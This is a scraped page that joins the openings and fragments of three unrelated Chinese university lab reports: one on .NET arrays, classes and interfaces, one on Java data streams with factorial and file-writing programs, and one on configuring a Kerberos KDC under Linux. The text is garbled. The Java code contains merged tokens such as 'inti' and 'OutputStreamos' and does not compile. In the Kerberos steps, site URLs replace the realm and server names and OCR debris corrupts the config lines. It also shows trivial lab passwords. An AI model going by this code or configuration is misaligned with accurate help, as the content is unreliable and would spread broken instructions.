福建农林大学金山学院 实验报告 课程名称：.NET程序设计 姓名：洪绵绵 系：信息与机电工程系 专业：计算机科学与技术 年级：2008 学号：082231029 指导教师：林松 职称：讲师 2010年12月29日
实验项目列表
福建农林大学金山学院实验报告 系：信息与机电工程专业：计算机科学与技术年级： 2008级 姓名：洪绵绵学号： 082231029 实验室号_ 608 计算机号 B3 实验时间： 2010.11.26上午一二节指导教师签字：成绩： 实验一数组、类、接口与结构 一、实验目的和要求 1、了解数组、类、接口和结构的定义、概念。 2、了解结构和类的区别。 3、掌握数组的声明、实例化、初始化和访问。 4、掌握类、接口的声明和使用，结构的声明和调用。 二、实验内容和原理 1、屏幕打印10行杨辉三角，逐行输出，用到Console.Write("{0,5}", A[i, j]); 和Console.WriteLine();语句。 2、创建抽象基类Shape和派生类Rectangle, Circle利用多态性实现Area(计算面积）和Show（在屏幕上显示图形名称和面积）抽象方法 3、声明一个接口ICDPlayer,包含4个接口方法：Play()，Stop()，NextTrack()和PreviousTrack()，以及一个只读属性CurrentTrack创建类CDPlayer实现该接口，模拟CD的播放、停止、下一音轨、上一音轨的操作。 4、声明一个表示平面坐标系中的点的结构体CoOrds，包含字段x，y，以及带2个参数的构造函数。分别利用三种不同的方法（默认构造函数、有2个参数的构造函数、先声明结构体变量再对其x，y字段赋值），创建3个平面坐标点变量。求这3个点所构成的三角形面积。注意判断3个坐标点是否可以构成三角形。 三、实验环境 1、硬件：PC机 2、软件：windowsXP、VS2008 四、算法描述及实验步骤 1、(1) 打开记事本，编写代码。
java实验九
《Java 语言程序设计》实验报告（九） 实验名称：______________指导教师：______ _____实验日期：_________ 专 业：______________班 级：___________姓 名：_________ Java 数据流编程 张鑫 2015-12-25 电子商务 电子商务1302 李鸿儒
三、实验结果与结论：（经调试正确的源程序（核心部分）和程序的运行结果）LX5_3.java程序执行结果如图1所示： 图1 LX5_4.java程序执行结果如图2所示： 图2 LX5_5.java程序执行结果如图3所示： 图3 LX5_6.java程序执行结果如图4所示： 图4 LX10_3.java程序执行结果如图5所示： 图5 1、请设计一个从键盘输入一个数n，求n! Jiecheng.java源程序如下： import java.util.Scanner; public class Jiecheng{ public static void main(String args[]){ Scanner input=new Scanner(System.in); System.out.println("请输入数字n:"); int n=input.nextInt(); System.out.println("n!="+sum(n)); }
public static int sum(int n){ int sum=1; for(inti=1;i<=n;i++) sum*=i; return sum; } } Jiecheng.java程序执行结果如图6所示： 图6 2、写一个程序，允许用户依次输入多个姓名和住址，并能将用户的输入保存到文件中。用户输入“quit”表示输入完毕，程序退出。 Test1.java源程序如下： import java.util.Scanner; import java.io.*; public class Test1{ public static void main(String args[]){ OutputStreamos=null; OutputStreamWriterosw=null; BufferedWriterbw=null; try{ os=new FileOutputStream("test.txt"); osw=new OutputStreamWriter(os); bw=new BufferedWriter(osw); while(true){ Scanner sc=new Scanner(System.in); String str=sc.nextLine(); if(str.equals("quit"))break; bw.write(str); bw.newLine(); } }catch(IOException w){ }finally{ try{ if(bw!=null)bw.close(); }catch(IOException w){ } } } }
网络安全课设Kerberos实验报告
附件《网络安全课程设计》实验报告格式 2012-2013学年第2学期 《网络安全课程设计》实验报告 3 实验名称： 完成时间： 实验18安全协议之 Kerberos 协议 2014-6-4 （练习三） 姓 名: 石心刚 学号 110342124 姓 名: 何伊林 学号 110342106 姓 名: 白冠军 学号 110342101 姓 名: 尹新来 学号 110342136 姓 名: 饶明艺 学号 110342122 指导教师： 崔鸿 班级 110342A
实验目的 1. 了解身份认证的原理及其重要意义 2. 学习Kerberos身份认证全过程 3. 学会在Linux下配置Kerberos身份认证系统 系统环境 Linux 网络环境 交换网络结构 实验工具 krb5 vl.6.2 实验步骤 本练习主机A?F为一组。实验角色说明如下: 首先使用“快照 X”恢复Linux系统环境。 一.配置主KDC 在此过程中，将使用以下配置参数： 领域名称=https://www.360docs.net/doc/2f13536593.html,LAB DNS 域名=cserver. netlab 主 KDC = https://www.360docs.net/doc/2f13536593.html,lab admin 主体=admi n/admin admin 主体密码：admin 数据库管理密码：jlcss (1)首先为主 KDC改名，编辑 /etc/sysconfig/network 文件，把 HOSTNAM改为 kdc1 , 保存后重启系统。 (2)配置/etc/resolv.conf 文件使本机找到DNS服务器，修改内容如下。 dam 盘1“ cserver. zteil&b nMHfervar 1TZ. 16.0.254 其中domain后面用来标识 DNS域名，nameserver后面则用来标识 DNS服务器的IP地址。在本实